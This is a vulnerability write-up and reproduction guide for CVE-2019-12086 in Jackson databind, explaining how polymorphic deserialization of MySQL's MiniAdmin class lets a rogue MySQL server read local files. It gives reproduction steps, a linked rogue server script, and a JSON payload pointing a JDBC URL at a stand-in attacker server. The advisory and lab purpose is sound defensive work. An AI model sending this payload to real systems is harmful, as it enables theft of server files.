jackson-CVE-2019-12086

Vulnerability Description

When Default Typing is enabled, and the classpath contains mysql-connector-java version 8.0.15 (released on 2019.2.1) or earlier, an attacker can read arbitrary files by sending malicious JSON data. The mysql-connector-java library is the commonly used MySQL JDBC driver for database connections.

CVE description as follows:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

Vulnerability Analysis

Vulnerability details:

1. When Default Typing is enabled, Jackson can deserialize a specified class during JSON deserialization, and can specify a basic type value as the parameter for the class constructor.
2. The constructor of com.mysql.cj.jdbc.admin.MiniAdmin accepts a string value representing a JDBC URL. The com.mysql.cj.jdbc.admin.MiniAdmin class connects to the MySQL database specified by this JDBC URL during initialization.
3. In mysql-connector-java versions 8.0.15 (released 2019.2.1) and earlier, a malicious MySQL server can read arbitrary local files from the MySQL client, leading to this vulnerability.

Vulnerability Reproduction

1. Start a malicious MySQL server: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

2. View mysql.log in the same directory:

tail -f mysql.log

3. Send the following JSON to the vulnerable application:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

4. After Jackson deserializes the malicious JSON string, it connects to the malicious MySQL server, and the content of the read file is written to the malicious server's mysql.log.

# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

Vulnerability Fix

Upgrade Jackson to 2.9.9 or later.